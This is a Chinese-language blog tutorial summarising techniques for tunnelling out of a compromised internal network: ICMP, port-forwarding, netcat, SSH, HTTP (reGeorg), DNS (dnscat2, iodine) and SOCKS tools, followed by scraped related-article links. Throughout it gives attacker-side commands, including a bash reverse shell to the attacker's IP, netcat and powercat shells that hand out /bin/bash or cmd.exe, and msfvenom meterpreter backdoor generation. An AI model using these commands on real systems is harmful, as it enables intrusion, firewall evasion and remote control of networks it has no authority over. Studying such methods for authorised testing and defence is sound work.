早就想总结一下这部分内容了,总是有其他事情卡住,一直拖到现在

内网中有很多边界设备,比如防火墙。这种边界设备会控制内部主机的对外连接,一般会仅允许某些种类的端口开放或某种数据流量出入

这就意味着我们只能通过有限的选择,来绕过防火墙限制,与目标内网中的机器通信,这就需要隧道了,外观表现为各种端口转发连接,深层次还是隧道的思想

一般按照OSI模型也把隧道按照不同层的协议划分为网络层隧道、传输层隧道、应用层隧道,按部就班(老套路了)

本文只做思路总结,比较简单(懒)没啥演示的空间.......

如果有跨网段不通的地方请脑补自行添加路由

0x00前言

进入内网后,需要判断一下这台机器是否可以出网

常见的几种判断方式:

1.ICMP

俗话说得好,没病ping一下。比如ping www.baidu.com,看是否有来自某IP的回复信息

2.TCP

有nc的话可以试试某个IP端口是否可达  nc -n IP port  (如果是域名形式不要加-n参数,啊当然不加-n也可以接IP的)

前提是测试主机上有nc(netcat)

3.HTTP

用curl工具(一个用url规则的在命令行下工作的文件传输工具,支持文件上传下载),curl支持很多协议和方法,Linux自带,Windows需要下载

curl IP:port

还是开了有反应,没开没反应

4.DNS

用nslookup 与  dig两个DNS探测命令

nslookup是Windows自带的命令,Linux也能用

dig则是Linux自带的命令

两者没有指定vps-ip的话,默认用默认用系统配置的

nslookup www.baidu.com vps-ip

dig @vps-ip www.baidu.com

0x01 隧道

网络层隧道

1.IPV6隧道

简单来说是把IPV4作为隧道载体,在IPV4报文中封装IPV6报文。欺负边界设备不(怎么)关注IPV6的数据安全,而IPV6数据是可以在系统层面传递的

这个办法看看就好,实际上有很多限制,双方机器都要支持并使用IPV6,且边界路由有一定的配置,而且即使你设备支持IPV6也可能解析不了这个封装了IPV6报文的IPV4数据包是个什么东西

IPV6隧道目的是在IPV4的大海中连接IPV6孤岛,这也是推IPV6的一个过渡策略(或者双栈)

相关文章:https://www.freebuf.com/articles/web/202901.html

https://blog.csdn.net/a1766855068/article/details/95046923

http://blog.sina.com.cn/s/blog_69c81c3e0102y1l0.html

2.ICMP隧道

当使用不了网络上层隧道的话,可以考虑底层的ICMP隧道

(1)icmpsh

以工具icmpsh为例

在攻击者VPS上

之后apt-get install python-impacket  安一下类库

sysctl -w net.ipv4.icmp_echo_ignore_all=1     关闭本地系统ICMP应答

cd icmpsh

./icmpsh_m.py <attacker's-IP> <target-IP>  或者进入目录./run.sh运行,输入目标主机的公网IP,开始监听(IP是双方的公网IP)

受害者主机上传攻击机上的icmpsh.exe文件,运行相关命令

icmpsh.exe -t <attacker's-IP>        或者输入攻击机上生成的命令都行

如果成功会在VPS攻击机上收到受害者的shell

(2)PingTunnel

跨平台工具,需要自行安装 http://freshmeat.sourceforge.net/projects/ptunnel/

攻击机   防火墙   跳板机A  服务器B

公ip1         公ip2   内ip3  内ip4  

攻击者已经获取A的权限,要访问B,但不能直接访问B;A也不能直接访问B,但是A可以ping通B(于是想到利用ICMP隧道)

则在A上传PingTunnel,执行 ptunnel -x password     (password为连接密码,自定义)

攻击者在攻击机  公ip1  上执行ptunnel -p 公ip2 -lp 1080 -da 内ip4 -dp 3389 -x password    (在访问攻击机本机的1080端口,将服务器B的3389端口数据封

装到ICMP隧道中,以跳板机A(公ip2)为跳板传送,即最后结果是在攻击机上访问本地1080端口即可与服务器B的3389端口建立连接)

-x: 指定ICMP隧道连接的密码

-lp: 指定攻击者要监听的本地TCP端口

-da: 指定要转发的第三方目标机器的IP地址

-dp: 指定要转发的第三方目标的TCP端口

-p: 指定ICMP隧道另一端的机器的IP地址

或者把3389换成别的什么可以利用的端口,例如22,调用ssh连接也行

传输层隧道

3.lcx端口转发

lcx是一个基于socket套接字的端口转发工具,Windows版本为 lcx.exe,Linux版本为portmap

写过socket的都知道,一个隧道有两端,一端监听一端连接

两个版本的下载连接 https://github.com/MrAnonymous-1/lcx

把lcx搞到目标机器上

在目标机器上执行    lcx.exe -slave <attacker's-IP> <attacker's-Port> 127.0.0.1 3389      比如说把目标机器本地的3389端口转发到攻击者VPS 的某端口上

然后在攻击机VPS上运行   lcx.exe -listen <attacker's-Port> <attacker's-Port2>    将本机port端口上监听的数据转到本机port2端口上

啊,然后攻击者在攻击机VPS上mstsc访问127.0.0.1:Port2就可以远程访问目标机器了

假如3389被防火墙干了,数据过不去怎么办?

那就把目标机器的3389端口映射到一个防火墙允许的端口呗

目标机器上执行    lcx -tran 53 127.0.0.1 3389    然后上面的命令再来一遍,这次转发53端口到攻击机VPS就好了,53一般不会禁吧

portmap的话  

在目标主机上执行

./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 <attacker's-IP> -p2 233

将本地22端口的流量转发到攻击机VPS的233端口

然后在攻击机VPS上监听233端口流量转发到2333端口

./portmap -m 2 -p1 233 -h2 127.0.0.1 -p2 2333

在攻击机VPS上 ssh 用户名@127.0.0.1 -p 2333   就相当于ssh了目标主机

和lcx原理一样的

4.netcat

下载  https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download

关于nc的使用方法  参考https://www.freebuf.com/sectool/168661.html这篇文章

nc可以说的功能很多,比如抓banner、扫端口、聊天、上传接受文件、监听端口......不一一详细解读了,主要整理内网隧道说这些没啥意义

很多功能需要双方机器都有nc,那没有nc的机器怎么搞?

这涉及到两个概念:正向shell(客户端连服务器)反向shell(服务器连客户端)

通常使用反向shell,即服务端攻击机监听nc -lvp port,客户端目标主机去连接服务端

常见的bash反向shell,在目标主机上       bash -i >& /dev/tcp/<attacker's IP>/<attacker's listening port> 0>&1

或者目标机器支持其他语言,可以用语言写命令执行

实际上建立内网“隧道”也好“端口转发”也好,当跳板这一块非其所长,但也能用,要不怎么叫瑞士军刀

还是借用之前的例子改编一下下

攻击机   防火墙   跳板机A  服务器B

公ip1         公ip2   内ip3  内ip4  

攻击者已经获取A的权限,要访问B,但不能直接访问B;A可以访问B

攻击机VPS上   nc -lvp 2333

跳板机A上  nc -v 公ip1 2333 -c "nc -v 内ip4 3333"

服务器B上  nc -lvp 3333 -e /bin/bash

5.Powercat

顾名思义powershell版nc

下载链接  https://github.com/besimorhino/powercat

使用方法就不说了,只说跳板部分

跳板机A上  powercat -l -v -p 8888 -r tcp:内ip4:9999

攻击机VPS上  nc 公ip2 8888 -vv

服务器B上  powercat -l -v -p 9999 -e cmd.exe

应用层隧道

6.SSH协议

类UNIX的基本都支持ssh协议,由于是加密的协议,也很难区分哪些是合法的哪些是不合法的会话,就非常好

ssh都是  ssh 用户名@ip -p port  这么用的

创建ssh隧道常用的参数有:

-C:压缩传输,提高传输速度

-f:将ssh传输转入后台执行,不占用当前的shell

-N:静默连接,连接后看不到具体会话

-g:允许远程主机连接本地用于转发的端口

-L:本地端口转发

-R:远程端口转发

-D:动态转发(SOCKS 代理)

-p:指定ssh端口

攻击机   防火墙   跳板机A  服务器B

公ip1         公ip2   内ip3  内ip4  

攻击者已经获取A的权限,要访问B,但不能直接访问B;A可以访问B

在攻击机VPS上执行  ssh -CfNg -L port(vps端口):内ip4(目标机ip):3389(目标端口) root@公ip2(跳板机)

访问攻击机VPS的port端口,就相当于与目标机器建立了3389连接 攻击机上  rdesktop 127.0.0.1:port

假如攻击机VPS不能访问内网的所有机器,连A也不能访问,那怎么办?

那就让B通过A来访问攻击机VPS

在跳板机上执行  ssh -CfNg -R port(vps端口):内ip4(目标机ip):3389(目标端口) root@公ip1(vps)

则访问攻击机VPS的port端口,即访问目标机器的3389

两个例子两者正好相反,分别是本地转发与远程转发

还有一种叫动态转发

之前的例子都有目标机器有具体端口,啊如果不知道目标的具体情况呢

在攻击机VPS上执行  ssh -CfNg -D port root@公ip2  相当于建立了一个动态的SOCKS代理通道

在攻击机VPS本地浏览器设置好socks代理    127.0.0.1 port

即可通过攻击机VPS的浏览器访问目标内网某 ip

7.HTTP/HTTPS协议

非常常见的  reGeorg

reGeorg-----一款正向代理工具,即把代理脚本扔到跳板机上(当然会被杀软干掉的),然后攻击机VPS去连接跳板机

下载链接   https://github.com/sensepost/reGeorg

取得跳板机权限了之后,需要把tunnel.什么什么上传到跳板机上(别忘了要扔到web目录里啊),这个什么,取决于跳板机支持什么语言环境(aspx,jsp,php,ashx)

php还分了个nosocket版本的,用tunnel.php还需要改php配置文件所以常用tunnel.nosocket.php版

以PHP环境为例

攻击机   防火墙   跳板机A  服务器B

公ip1         公ip2   内ip3  内ip4  

还是内网,目标机器B不能通外网,但A、B可互访

攻击机VPS上执行    python reGeorgSocksProxy.py -u http://公ip2/tunnel.nosocket.php -p port

即访问跳板机A上传过去的tunnnel.nosocket.php文件,并用reGeorgSocksProxy.py监听本地的port端口

然后要用到reGeorg的好兄弟proxifier与proxychains了,这俩都是可支持socks5(socks4只支持TCP、socks5支持TCP/UDP、身份验证机制)的客户端,一个windows平台

GUI(也可以跨平台),一个Linux平台命令行,考虑到攻击机VPS是kali的话,proxychains+reGeorg用的会比较多

下载链接 :

https://www.proxifier.com

https://github.com/rofl0r/proxychains-ng

http://proxychains.sourceforge.net/

具体使用方法参考下面两篇文章不再复述,都需要在攻击机VPS中手动下载安装配置端口或者配置文件啥的,各自配置方式不同

https://www.cnblogs.com/7-58/p/12932649.html

https://cloud.tencent.com/developer/article/1674107

比如proxychains需要vim /etc/proxychains.conf   ,在最后添加一行,具体配合reGeorg端口:  socks5 127.0.0.1 port

在攻击机VPS本地使用这俩访问目标机服务器B了,类似这种命令具体看情况:      proxychains rdesktop 内ip4

或者干点啥nmap扫描内网都可以

话说如果有meterpreter,run get_local_subnets获取网络接口、run autoroute -p 查看路由、run autoroute -s x.x.x.0/24加个路由,

 use auxiliary/server/socks4a,set srvport port ,然后按照上面的步骤改proxychains.conf(注意这回用socks4啊,socks4 IP port),也一样能实现将攻击机VPS

“贴”到跳板机上

(补充一点题外话:警告!!!存在多级网络跳跃的情况的时候,即攻击者通过连主机A再到主机B再到主机C......  注意选择是正向连接目标还是反向连接目标,例如用tcp协议的话,是set payload windows/meterpreter/bind_tcp还是set payload windows/meterpreter/reverse_tcp

目标机器能找到攻击机的话优先选反向reverse,目标机器不能找得到攻击机的话用正向bind

生成后门的时候也注意选择正向后门,例如  msfvenom -p linux/x64/meterpreter/bind_tcp ......还是反向后门 例如 msfvenom -p linux/x64/meterpreter/reverse_tcp......)

8.DNS协议

DNS和ICMP、HTTP\HTTPS一样,属于容易钻空子的协议,一般正常走流量需要这些协议,有隧道的操作空间

DNS解析的时候,如果域名本地查不到,是会向其他根域名服务器查询的

介绍两个工具 :dnscat2iodine

dnscat2是一个命令行工具,有两个组件,分别是C写的客户端和ruby写的服务端,混血儿

客户端安在目标机器中保持运行状态,所以用之前需要编译;服务端需要在一个DNS服务器(VPS)上运行

下载链接  https://github.com/iagox86/dnscat2

dnscat2有两种运行模式:直连模式(客户端直接向指定的IP的DNS服务器发起DNS请求)和中继模式(DNS经历迭代解析之后再去指向指定的DNS服务器),直连比中

继要快的,但是直连容易在目标机器请求日志中暴露(有特征‘dnscat’),况且一旦有DNS请求的白名单限制,就只能用中继,申请域名并把dnscat2的服务端指定为受信

任的DNS服务器

接下来需要买一台VPS当C&C服务器,买一个可控制的域名,安Linux系统,创建A记录,把自己的域名解析服务器指向VPS服务器,搞几个NS记录,把完整域名的子域名对应的解析也指向域名解析服务器

然后安装服务端

参考文章:https://blog.csdn.net/localhost01/article/details/86591685

服务端需要ruby环境,安好

sudo ruby ./dnscat2.rb 域名 -e open -c 连接密码 --no-cache

直连的话

sudo ruby ./dnscat2.rb --dns server=127.0.0.1,port = 2333,type=TXT --secret=连接密码

监听本机2333端口

之后在目标主机上安装客户端

C语言写的,使用之前需要先编译,用编译好的exe客户端

dnscat2-v0.07-client-win32.exe --dns domain=域名 --secret 连接密码

或者服务端直连那种

dnscat --dns server=dnscat2服务端ip,port= 2333,type=TXT --secret=连接密码

如果目标主机支持powershell2以上版本,可以使用一个叫dnscat2-powershell的脚本

详情参考先知社区  https://xz.aliyun.com/t/2214

之后介绍iodine(碘)

碘原子数53即DNS端口号,也是有客户端和服务端程序区分的,也支持直连和中继两种模式

原理是通过虚拟网卡在服务端和客户端各建立一个局域网,两者通过DNS隧道连接,处于同一个局域网可以互相通信

仍然需要一个可以操控的域名,具体不介绍了

详细可以参考这篇文章  https://www.cnblogs.com/micr067/p/12263337.html

9.SOCKS代理

socks是一种代理服务,可以说是一个升级版的lcx

socks协议中有交互协议,当访问某个网站的时候,浏览器会把被访问目标的URL和服务端口交给socks服务端进行解析,socks服务端解析后代替浏览器去访问目标网站,将结果返回给浏览器

端口转发的话是帮忙访问主机的某个端口,一对一,而socks是不需要知道访问哪个端口,一对多

代表工具:EarthWorm(蚯蚓)

下载连接 https://github.com/rootkiter/EarthWorm

https://codeload.github.com/idlefire/ew/zip/master

所有讲内网穿透的,都绕不开这个工具,两大功能:socks5服务端和端口转发,用于网络穿透

还可以用新版的EW 即Termite    http://rootkiter.com/Termite/

EW六种命令格式:ssocksd  rcsocks  rssocks  lcx_slave  lcx_listen  lcx_tran

普通环境中正向连接用ssocksd,反弹连接 rcsocks rssocks,剩下三个用于多层网络级联

具体使用请参考 https://www.cnblogs.com/bonelee/p/12511101.html

后续还有一些补充,暂时写到这吧

----------------------------------------------------------------------------------------------------------

补充:

由于EW早就停更了

于是再推荐两款流行的工具:ngrok和 frp

比较简洁

frp链接:https://github.com/fatedier/frp

也是有客户端服务端的,和EW一样需要自购VPS搭建,具体命令请参考其他师傅们的文章

ngrok国内链接:http://www.ngrok.cc/  或者去官网  https://ngrok.com/

用国内的就好

很方便,不用自己搭服务器了

可以注册账号,花钱买隧道(免费的速度堪忧),傻瓜式操作

如果有隐私方面的考虑不建议使用此方法,可以自建服务器用frp

或者使用nps

参考:https://www.jianshu.com/p/cfbed49e1728

本文行文框架和部分内容参考ms08067实验室《内网安全攻防》一书

随便转载,请标明作者出处

内网隧道与SOCKS代理思路总结的更多相关文章

  1. 内网漫游之SOCKS代理大结局

    0×01 引言 在实际渗透过程中,我们成功入侵了目标服务器.接着我们想在本机上通过浏览器或者其他客户端软件访问目标机器内部网络中所开放的端口,比如内网的3389端口.内网网站8080端口等等.传统的方 ...

  2. 利用nginx 来实现内网yum源(反向代理)

    简介 在项目部署时,尤其是在政府企业,对于外网简直是奢望,但是对于运维来说,没有外网的话只能自建yum源.我今天来说的是一种简单的自建yum源方法,前提是必须有一台内外网都有的机器,我们一般称为前置机 ...

  3. 内网服务器通过Squid代理访问外网

    环境说明 项目整体需部署Zabbix监控并配置微信报警,而Zabbix Server并不能访问外网,故运维小哥找了台能访问外网的服务器做Suqid代理,Zabbix Server服务器通过代理服务器访 ...

  4. php内网探测脚本&简单代理访问

    <?php $url = isset($_REQUEST['u'])?$_REQUEST['u']:null; $ip = isset($_REQUEST['i'])?$_REQUEST['i' ...

  5. 浏览器 Proxy SwitchyOmega 插件设置代理访问内网服务器

    使用Proxy SwitchyOmega 插件通过代理 直接访问到内网网站 一.使用场景 如下图所示,如果在电脑的网络设置中开启代理,每次更换代理就需要进入这里设置改变代理.且我们可能回需求到两个网页 ...

  6. 一款带Web面板的轻量级、高性能内网穿透工具:nps使用教程

    说明:内网穿透工具之前已经介绍了不少了,比如Frp.lanproxy.Holer等,现在再介绍个带Web面板的穿透工具nps,之前叫easyProxy,只是改名了而已,该工具是一款使用go语言编写的轻 ...

  7. Cobalt strike与内网渗透

    cobalt strike的用法参照我之前的博客: https://www.cnblogs.com/vege/p/12743274.html 这里只演示上线之后的操作. Socks代理 开启socks ...

  8. Vulnstack内网靶场2

    环境配置 内网2靶场由三台机器构成:WIN7.2008 server.2012 server 其中2008做为对外的web机,win7作为个人主机可上网,2012作为域控 网络适配器已经设置好了不用自 ...

  9. 通过ssh tunnel连接内网ECS和RDS

    通过ssh tunnel连接内网ECS和RDS 这里讲了ssh tunnel的原理.很清晰. 此后又给外网访问内网增加了一种思路.感觉特别棒. 拓宽了思路:

随机推荐

  1. mongodb的基本命令与常规操作

    1. 查看当前数据库的版本号:db.version()2. 查看当前所在数据库:db 默认是test数据库3. 查看当前数据库的连接地址:db.getMongo()4. 查看所有数据库:show da ...

  2. Go nuts

    含义: to behave in a crazy, enthusiastic, or violent way. 发起狂来 详细讲解 go 在这里也不是"去"的意思,而是和 get. ...

  3. 深入理解Java并发容器——ConcurrentHashMap

    目录 重要属性和类 put 为什么java8后放弃分段锁,改用CAS和同步锁 初始化 addCount 扩容 树化 参考 重要属性和类 sizeCtl 容量控制标识符,在不同的地方有不同用途,而且它的 ...

  4. [转载]API网关

    1. 使用API网关统一应用入口 API网关的核心设计理念是使用一个轻量级的消息网关作为所有客户端的应用入口,并且在 API 网关层面上实现通用的非功能性需求.如下图所示:所有的服务通过 API 网关 ...

  5. external-resizer 源码分析/pvc 扩容分析

    kubernetes ceph-csi分析目录导航 基于tag v0.5.0 https://github.com/kubernetes-csi/external-resizer/releases/t ...

  6. 详解Spring中Bean的作用域与生命周期

    摘要:在利用Spring进行IOC配置时,关于bean的配置和使用一直都是比较重要的一部分,同时如何合理的使用和创建bean对象,也是小伙伴们在学习和使用Spring时需要注意的部分,所以这一篇文章我 ...

  7. height设置100%不起作用

    详细讲解了原因:http://www.webhek.com/post/css-100-percent-height.html

  8. mpvue开发小程序项目遇到的问题

    mpvue项目 最近用mpvue开发了一个家庭私人医生签约的小程序项目.记录总结一下,开发过程中遇到的一些问题. 关于页面进栈出栈的状态值问题 页面进出栈,会触发onLoad/unLoad事件.出栈不 ...

  9. 安装geatpy库到指定的conda虚拟环境中

    在Anaconda Prompt中输入conda install geatpy,提示找不到这个库: 输入pip install geatpy,安装成功:但是安装在默认conda环境下(以下为pycha ...

  10. 版本号是通过import合并而来的,不是继承来的